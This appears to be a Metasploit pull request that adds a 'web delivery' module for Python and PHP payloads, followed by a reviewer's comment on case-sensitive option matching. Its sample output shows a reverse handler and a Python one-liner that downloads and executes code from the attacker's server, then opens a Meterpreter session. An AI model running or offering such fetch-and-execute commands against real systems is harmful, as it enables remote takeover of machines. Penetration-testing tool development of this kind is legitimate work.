Script web delivery

This PR adds "web delivery" support for native python and php payloads, and combines them with the PSH web delivery work from @Meatballs1 all into one module. This PR is an update to https://github.com/rapid7/metasploit-framework/pull/3018

Sample Output:

```
msf exploit(web_delivery) > exploit
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.232.131:4444 
[*] Using URL: http://192.168.232.131:8080/4w0E0Z8b
[*] Server started.
[*] Run the following command on the target machine:
For Linux: python -c "import urllib2; r = urllib2.urlopen('http://192.168.232.131:8080/4w0E0Z8b'); exec(r.read());"
For Windows: python.exe -c "import urllib2; r = urllib2.urlopen('http://192.168.232.131:8080/4w0E0Z8b'); exec(r.read());"
msf exploit(web_delivery) > [*] 192.168.232.1    web_delivery - Delivering Payload
[*] Sending stage (17349 bytes) to 192.168.232.1
[*] Meterpreter session 1 opened (192.168.232.131:4444 -> 192.168.232.1:10590) at 2014-06-03 16:27:43 -0400

```
OptString is case sensitive. I suggest you do one of these:

1. Use OptEnum instead of OptString. IIRC there's a check in OptEnum.
2. Use regex matching. So instead of ```datastore['SCRIPT_LANG'] == "PHP"```, you do ```datastore['SCRIPT_LANG'] =~ /^php$/i```
3. Use either ```upcase``` or ```downcase``` before string comparison.

Or if you actually feel no improvement is needed, please do explain.